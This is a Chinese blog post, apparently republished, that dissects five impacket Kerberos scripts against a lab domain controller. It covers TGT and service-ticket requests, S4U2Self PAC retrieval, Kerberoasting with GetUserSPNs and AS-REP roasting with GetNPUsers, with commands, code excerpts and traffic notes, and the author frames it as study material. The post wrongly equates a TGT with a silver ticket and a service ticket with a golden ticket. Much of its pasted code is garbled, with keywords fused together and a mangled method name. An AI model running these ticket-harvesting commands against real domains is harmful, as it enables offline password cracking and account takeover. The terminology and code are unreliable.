impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

admin 2025年1月28日15:13:48评论34 views字数 20735阅读69分7秒阅读模式
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

众亦信安,中意你啊!

点不了吃亏,点不了上当,设置星标,方能无恙!

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)
点不了吃亏,点不了上当,设置星标,方能无恙!
完整记录公众号回复 250120
目录:
一、getTGT浅析
二、getST浅析
三、getPAC浅析
四、GetUserSPNs浅析
五、GetNPUsers浅析

一、getTGT 浅析

简介

提供密码、hash或aeskey用来请求TGT并且保存为ccache格式,也就是白银票据;

测试环境

win2019(DC):192.168.1.4

win10(attack):192.168.1.3

测试命令

python getTGT.py domain.local/administrator:"Admin@123" -dc-ip 192.168.1.4

代码解读

主函数处理输入参数后,进入GETTGT类,也是该脚本中的关键性代码中,并调用run()函数;

GETTGT类初始化如下:

classGETTGT:def__init__(self, target, password, domain, options):        self.__password = password        self.__user= target        self.__domain = domain        self.__lmhash = ''        self.__nthash = ''        self.__aesKey = options.aesKey        self.__options = options        self.__kdcHost = options.dc_ipif options.hashes isnotNone:            self.__lmhash, self.__nthash = options.hashes.split(':')

进入run()方法中,将输入的域用户名进行处理;

getKerberosTGT()方法为请求TGT票据,然后调用self.saveTicket()方法将票据保存为ccache文件,文件名为当前请求域用户的名字;

defrun(self):     userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)     tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,self.__kdcHost)     self.saveTicket(tgt,oldSessionKey)

该流程也是标准的kerberos第一阶段TGT通信,对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

第一次AS_REP响应报错"KRB5KDC_ERR_PREAUTH_REQUIRED",表示该域账户需要kerberos预身份认证;

第一次的AS_REQ请求包中没有包含当前请求用户的hash加密时间戳的字段,如下图:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)
第二次AS_REQ请求包中就存在该身份验证的加密字段,如下图:
impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

总结

本次对getTGT脚本进行了简单的分析,该代码相对简单,只是一个正常的kerberos AS_REQ和AS_REP;

二、getST 浅析

简介

提供密码、hash、aeskey或ccache格式的TGT,可以请求服务票据并保存为ccache格式,也就是黄金票据;

测试环境

win2019(DC):192.168.1.4

win10(attack):192.168.1.3

测试命令

python getST.py domain.local/administrator:"Admin@123" -dc-ip 192.168.1.4 -spn ldap/WIN-O1LF3J0STCO.domain.local
结果截图:
impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

代码解读

主函数处理命令行输入内容后,调用GETST类的run()方法;

try:if domain isNone:            logging.critical('Domain should be specified!')            sys.exit(1)if password == ''and username != ''and options.hashes isNoneand options.no_pass isFalseand options.aesKey isNone:from getpass import getpass            password = getpass("Password:")if options.aesKey isnotNone:            options.k = True        executer = GETST(username, password, domain, options)        executer.run()

进入run()函数中,先判断是否有指定TGT票据,如果没有则调用getKerberosTGT()进行TGT票据请求;

def run(self):        tgt = None        # Do we have a TGT cached?        domain, _, TGT, _ = CCache.parseFile(self.__domain)        # ToDo: Check this TGT belogns to the right principalif TGT is not None:            tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']            oldSessionKey = sessionKeyif tgt is None:            # Still no TGT            userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)            logging.info('Getting TGT for user')            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,                                                                    unhexlify(self.__lmhash), unhexlify(self.__nthash),self.__aesKey,self.__kdcHost)

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

判断是否代表其他用户请求票证:

如果不是则调用getKerberosTGS()方法获取ST票据;

如果代表其他用户申请,则调用self.doS4U2ProxyWithAdditionalTicket()和self.doS4U()申请ST票据;

获取到票据以后将其保存为ccache文件;

ifself.__options.impersonate isNone:            # NormalTGS interaction            logging.info('GettingSTfor user')            serverName =Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)self.__saveFileName =self.__userelse:            # Here's the rock'n'rolltry:                logging.info('Impersonating%s' %self.__options.impersonate)                # Editing below to pass hashes for decryptionifself.__additional_ticket is not None:                    tgs, cipher, oldSessionKey, sessionKey =self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,self.__kdcHost, self.__additional_ticket)else:                    tgs, cipher, oldSessionKey, sessionKey =self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)            except Exceptionas e:                logging.debug("Exception", exc_info=True)                logging.error(str(e))if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >=0:                    logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' %self.__user)if str(e).find('KDC_ERR_BADOPTION') >=0:                    logging.error('ProbablySPNis not allowed to delegate by user %s or initial TGT not forwardable' %self.__user)returnself.__saveFileName =self.__options.impersonateself.saveTicket(tgs, oldSessionKey)

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

总结

本次对getST脚本进行了简单的分析,该脚本还原了一个正常的kerberos 票据请求流程;

三、getPac浅析

简介

作用: 获取指定用户的PAC

代码分析

主函数处理命令行参数后,实例化S4U2SELF类,并执行dump()函数;

try:    dumper = S4U2SELF(options.targetUser, username, password, domain, options.hashes)    dumper.dump()except Exception as e:    if logging.getLogger().level == logging.DEBUG:        import traceback        traceback.print_exc()    logging.error(str(e))

进入dump()方法中,getKerberosTGT()进行AS-REQ请求并接收AS-REP中的TGT票据(tgt)、解密值(cipher)、两个值的加密类型(oldSessionKey、sessionKey);并通过decoder.decode()对TGT票据进行解密;

userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,                                                  unhexlify(self.__lmhash), unhexlify(self.__nthash))decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)
设置ap-req包中的参数
ticket = Ticket()ticket.from_asn1(decodedTGT['ticket'])apReq = AP_REQ()apReq['pvno'] = 5apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)opts = list()apReq['ap-options'] =  constants.encodeFlags(opts)seq_set(apReq,'ticket', ticket.to_asn1)authenticator = Authenticator()authenticator['authenticator-vno'] = 5authenticator['crealm'] = str(decodedTGT['crealm'])clientName = Principal()clientName.from_asn1( decodedTGT, 'crealm''cname')seq_set(authenticator, 'cname', clientName.components_to_asn1)now = datetime.datetime.utcnow()authenticator['cusec'] = now.microsecondauthenticator['ctime'] = KerberosTime.to_asn1(now)if logging.getLogger().level == logging.DEBUG:    logging.debug('AUTHENTICATOR')print(authenticator.prettyPrint())print ('n')encodedAuthenticator = encoder.encode(authenticator)# Key Usage 7# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes# TGS authenticator subkey), encrypted with the TGS session# key (Section 5.5.1)encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)apReq['authenticator'] = noValueapReq['authenticator']['etype'] = cipher.enctypeapReq['authenticator']['cipher'] = encryptedEncodedAuthenticatorencodedApReq = encoder.encode(apReq)

对应在TGS-REQ数据包中的内容如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)
TGS_REQ()初始化TGS请求参数,并设置其中的参数;
tgsReq = TGS_REQ()tgsReq['pvno'] =  5tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)tgsReq['padata'] = noValuetgsReq['padata'][0] = noValuetgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)tgsReq['padata'][0]['padata-value'] = encodedApReq# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service# requests a service ticket to itself on behalf of a user. The user is# identified to the KDC by the user's name and realm.clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos'if logging.getLogger().level == logging.DEBUG:    logging.debug('S4UByteArray')    hexdump(S4UByteArray)# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash# with the following three parameters: the session key of the TGT of# the service performing the S4U2Self request, the message type value# of 17, and the byte array S4UByteArray.checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)if logging.getLogger().level == logging.DEBUG:    logging.debug('CheckSum')    hexdump(checkSum)paForUserEnc = PA_FOR_USER_ENC()seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)paForUserEnc['userRealm'] = self.__domainpaForUserEnc['cksum'] = noValuepaForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)paForUserEnc['cksum']['checksum'] = checkSumpaForUserEnc['auth-package'] = 'Kerberos'if logging.getLogger().level == logging.DEBUG:    logging.debug('PA_FOR_USER_ENC')    print(paForUserEnc.prettyPrint())encodedPaForUserEnc = encoder.encode(paForUserEnc)tgsReq['padata'][1] = noValuetgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)tgsReq['padata'][1]['padata-value'] = encodedPaForUserEncreqBody = seq_set(tgsReq, 'req-body')opts = list()opts.append( constants.KDCOptions.forwardable.value )opts.append( constants.KDCOptions.renewable.value )opts.append( constants.KDCOptions.renewable_ok.value )opts.append( constants.KDCOptions.canonicalize.value )opts.append(constants.KDCOptions.enc_tkt_in_skey.value)reqBody['kdc-options'] = constants.encodeFlags(opts)serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)#serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)seq_set(reqBody, 'sname', serverName.components_to_asn1)reqBody['realm'] = str(decodedTGT['crealm'])now = datetime.datetime.utcnow() + datetime.timedelta(days=1)reqBody['till'] = KerberosTime.to_asn1(now)reqBody['nonce'] = random.getrandbits(31)seq_set_iter(reqBody, 'etype',              (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))# If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelfmyTicket = ticket.to_asn1(TicketAsn1())seq_set_iter(reqBody, 'additional-tickets', (myTicket,))

TGS票据通信流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)
将获取到的TGS票据进行解密,并通过self.printPac()将详细内容进行输出;
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]if logging.getLogger().level == logging.DEBUG:    logging.debug('TGS_REP')    print(tgs.prettyPrint())cipherText = tgs['ticket']['enc-part']['cipher']# Key Usage 2# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or#  application session key), encrypted with the service key#  (section 5.4.2)newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]# Pass the hash/aes key :Pif self.__nthash != '' and (isinstance(self.__nthash, bytes) and self.__nthash != b''):    key = Key(newCipher.enctype, unhexlify(self.__nthash))else:if newCipher.enctype == Enctype.RC4:        key = newCipher.string_to_key(password, '', None)else:        key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)try:    # If is was plain U2U, thisis the key    plainText = newCipher.decrypt(key, 2, str(cipherText))except:    # S4USelf + U2U uses this other key    plainText = cipher.decrypt(sessionKey, 2, cipherText)self.printPdrqiac(plainText)

总结

本文对impacket中getPac.py脚本的代码进行简单的分析;

四、GetUserSPNs浅析

简介

查找域内使用账户注册的spn服务,如果有权限获取到该服务的ST,就可以尝试破解该注册服务账户的密码;

攻击流程

  1. LDAP查询域内账户注册的SPN;

  2. kerberos请求获取该SPN服务的ST票据;

环境搭建

setspn -S MySQL/WIN-2016.domain.local:3306/MySQL administrator# 新增用户test

测试命令

python GetUserSPNs.py domain.local/test:"Admin@123" -dc-ip 192.168.1.4 -request -debug

执行截图:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

代码解读

主函数处理输入参数后,调用GetUserSPNs类中的run()函数;

    try:        executer = GetUserSPNs(username, password, userDomain, targetDomain, options)        executer.run()    except Exception as e:        if logging.getLogger().level == logging.DEBUG:            import traceback            traceback.print_exc()        logging.error(str(e))

进入run()函数中,首先进行参数处理;

defrun(self):if self.__usersFile:        self.request_users_file_TGSs()returnif self.__kdcHost isnotNoneand self.__targetDomain == self.__domain:        self.__target = self.__kdcHostelse:if self.__kdcIP isnotNoneand self.__targetDomain == self.__domain:            self.__target = self.__kdcIPelse:            self.__target = self.__targetDomainif self.__doKerberos:            logging.info('Getting machine hostname')            self.__target = self.getMachineName(self.__target)

然后进行LDAP查找,ldap.LDAPConnection()建立连接,LDAP或kerberos进行权限认证,

try:    ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)if self.__doKerberos isnotTrue:        ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)else:        ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,                                     self.__nthash,                                     self.__aesKey, kdcHost=self.__kdcIP)except ldap.LDAPSessionError as e:ifstr(e).find('strongerAuthRequired') >= 0:# We need to try SSL        ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)        if self.__doKerberos is not True:            ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)        else:            ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,                                         self.__nthash,                                         self.__aesKey, kdcHost=self.__kdcIP)    else:        if str(e).find('NTLMAuthNegotiate') >= 0:            logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos "                             "authentication instead.")        else:            if self.__kdcIP is not None and self.__kdcHost is not None:                logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They "                                 "must match exactly each other")        raise

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)
构建ldap查询语句"(&(&(objectCategory=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))(servicePrincipalName=*))",查询域内所有域账户注册的SPN服务;
filter_spn = "servicePrincipalName=*"filter_person = "objectCategory=person"filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)"searchFilter = "(&"searchFilter += "(" + filter_person + ")"searchFilter += "(" + filter_not_disabled + ")"if self.__stealth isTrue:    logging.warning('Stealth option may cause huge memory consumption / out-of-memory errors on very large domains.')else:    searchFilter += "(" + filter_spn + ")"if self.__requestUser isnotNone:    searchFilter += '(sAMAccountName:=%s)' % self.__requestUsersearchFilter += ')'

调用ldapConnection.search()进行ldap查询请求;

try:    # Microsoft Active Directory set an hard limit of 1000 entries returned by any search    paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)    resp = ldapConnection.search(searchFilter=searchFilter,                                 attributes=['servicePrincipalName''sAMAccountName','pwdLastSet''MemberOf''userAccountControl''lastLogon'],                                 searchControls=[paged_search_control])except ldap.LDAPSearchError as e:if e.getErrorString().find('sizeLimitExceeded') >= 0:        # We should never reach this code as we use paged search now        logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')        resp = e.getAnswers()        passelse:        raise

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

请求包中可看见查询语句:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

下面代码为查询结果处理

answers = []logging.debug('Total of records returned %d' % len(resp))for item in resp:ifisinstance(item, ldapasn1.SearchResultEntry) isnotTrue:continue    mustCommit = False    sAMAccountName = ''    memberOf = ''    SPNs = []    pwdLastSet = ''    userAccountControl = 0    lastLogon = 'N/A'    delegation = ''try:for attribute in item['attributes']:ifstr(attribute['type']) == 'sAMAccountName':                sAMAccountName = str(attribute['vals'][0])                mustCommit = Trueelifstr(attribute['type']) == 'userAccountControl':                userAccountControl = str(attribute['vals'][0])ifint(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:                    delegation = 'unconstrained'elifint(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:                    delegation = 'constrained'elifstr(attribute['type']) == 'memberOf':                memberOf = str(attribute['vals'][0])elifstr(attribute['type']) == 'pwdLastSet':ifstr(attribute['vals'][0]) == '0':                    pwdLastSet = '<never>'else:                    pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))elifstr(attribute['type']) == 'lastLogon':ifstr(attribute['vals'][0]) == '0':                    lastLogon = '<never>'else:                    lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))elifstr(attribute['type']) == 'servicePrincipalName':for spn in attribute['vals']:                    SPNs.append(str(spn))if mustCommit isTrue:ifint(userAccountControl) & UF_ACCOUNTDISABLE:                logging.debug('Bypassing disabled account %s ' % sAMAccountName)else:for spn in SPNs:                    answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation])except Exception as e:        logging.error('Skipping item, cannot process due to error %s' % str(e))pass

如果查询结果大于0,如果添加了"-request"或"-request-user"(只申请这一个用户注册的SPN),则进行TGS票据的申请;

if len(answers) >0:self.printTable(answers, header=["ServicePrincipalName""Name""MemberOf""PasswordLastSet""LastLogon","Delegation"])print('nn')ifself.__requestTGS isTrue or self.__requestUser is not None:        # Let's get unique user names and a SPN to request a TGSfor        users = dict((vals[1], vals[0]) for vals in answers)        # Get a TGTfor the current userTGT=self.getTGT()ifself.__outputFileName is not None:            fd =open(self.__outputFileName, 'w+')else:            fd =Nonefor user, SPNin users.items():            sAMAccountName = user            downLevelLogonName =self.__targetDomain +"\"+ sAMAccountNametry:                principalName =Principal()                principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value                principalName.components = [downLevelLogonName]                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,self.__kdcIP,TGT['KDC_REP'], TGT['cipher'],TGT['sessionKey'])self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName,self.__targetDomain +"/"+ sAMAccountName, fd)            except Exceptionas e:                logging.debug("Exception:", exc_info=True)                logging.error('Principal: %-%s' % (downLevelLogonName, str(e)))if fd is not None:            fd.close()else:print("No entries found!")

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

总结

通过复现得出,如果能获取到该SPN的TGS票据,则有两种可能:

  • 一种为当前权限可以访问该SPN服务;

  • 第二种为该用户只注册了spn,并没有实质性服务,这种情况,低权限用户也可以获取到TGS票据,从而爆破注册该SPN用户的密码。

五、GetNPUsers浅析

简介

作用: 用于获取域中那些不需要Kerberos预身份验证的用户的TGT(票据授予票据),并尝试破解其中的会话密钥来获取用户的密码;

测试环境

win2019(DC):192.168.1.4

win10(attack):192.168.1.3

测试命令

python GetNPUsers.py domain.local/administrator:Admin@123 -request -outputfile results.txt

代码分析

主函数处理完命令行输入参数后,进行实例化GetUserNoPreAuth类,并执行其中的run()函数;

try:    executer = GetUserNoPreAuth(username, password, domain, options)    executer.run()except Exception as e:    logging.debug("Exception:", exc_info=True)    logging.error(str(e))
进入run()函数中,处理输入参数,并通过ldap.LDAPConnection()进行ldap连接,ldapConnection.login()进行ldap身份认证;
try:    ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)if self.__doKerberos isnotTrue:        ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)else:        ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,                                     self.__aesKey, kdcHost=self.__kdcIP)

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

设置ldap查询语句赋值给searchFilter中,并通过ldapConnection.search()进行查询;

searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)""(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" %                (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)try:    logging.debug('Search Filter=%s' % searchFilter)    resp = ldapConnection.search(searchFilter=searchFilter,                                 attributes=['sAMAccountName','pwdLastSet''MemberOf''userAccountControl''lastLogon'],sizeLimit=999)

对应流量如下:

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

对查询结果进行筛选,如果有查询到的用户会将其属性都提取出来;,如果查询成功,会通过self.request_multiple_TGTs()继续请求该用户的TGT票据,如果未查询到就结束进程;

for item in resp:ifisinstance(item, ldapasn1.SearchResultEntry) isnotTrue:continue    mustCommit = False    sAMAccountName =  ''    memberOf = ''    pwdLastSet = ''    userAccountControl = 0    lastLogon = 'N/A'try:for attribute in item['attributes']:ifstr(attribute['type']) == 'sAMAccountName':                sAMAccountName = str(attribute['vals'][0])                mustCommit = Trueelifstr(attribute['type']) == 'userAccountControl':                userAccountControl = "0x%x" % int(attribute['vals'][0])elifstr(attribute['type']) == 'memberOf':                memberOf = str(attribute['vals'][0])elifstr(attribute['type']) == 'pwdLastSet':ifstr(attribute['vals'][0]) == '0':                    pwdLastSet = '<never>'else:                    pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))elifstr(attribute['type']) == 'lastLogon':ifstr(attribute['vals'][0]) == '0':                    lastLogon = '<never>'else:                    lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))if mustCommit isTrue:            answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])except Exception as e:        logging.debug("Exception:", exc_info=True)        logging.error('Skipping item, cannot process due to error %s' % str(e))passiflen(answers)>0:    self.printTable(answers, header=[ "Name""MemberOf""PasswordLastSet""LastLogon""UAC"])print('nn')if self.__requestTGT isTrue:        usernames = [answer[0for answer in answers]        self.request_multiple_TGTs(usernames)else:print("No entries found!")

如果查询到了,进入request_multiple_TGTs()函数中self.getTGT()获取该用户的TGT;

defrequest_multiple_TGTs(self, usernames):if self.__outputFileName isnotNone:            fd = open(self.__outputFileName, 'w+')else:            fd = Nonefor username in usernames:try:                entry = self.getTGT(username)                self.outputTGT(entry, fd)except Exception as e:                logging.error('%s' % str(e))if fd isnotNone:            fd.close()

总结

本文对impacket中的GetNPUsers.py脚本进行简单分析,该脚本通过ldap查询来检测域内是否有用户不需要Kerberos预认证,并获取该用户的TGT票据,可以用其票据进行爆破密码,TGT不能直接进行利用;

点点关注不迷路,每周不定时持续分享各种干货。可关注公众号回复"进群",也可添加管理微信拉你入群。

impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

原文始发于微信公众号(众亦信安):impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日15:13:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)https://cn-sec.com/archives/3665136.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息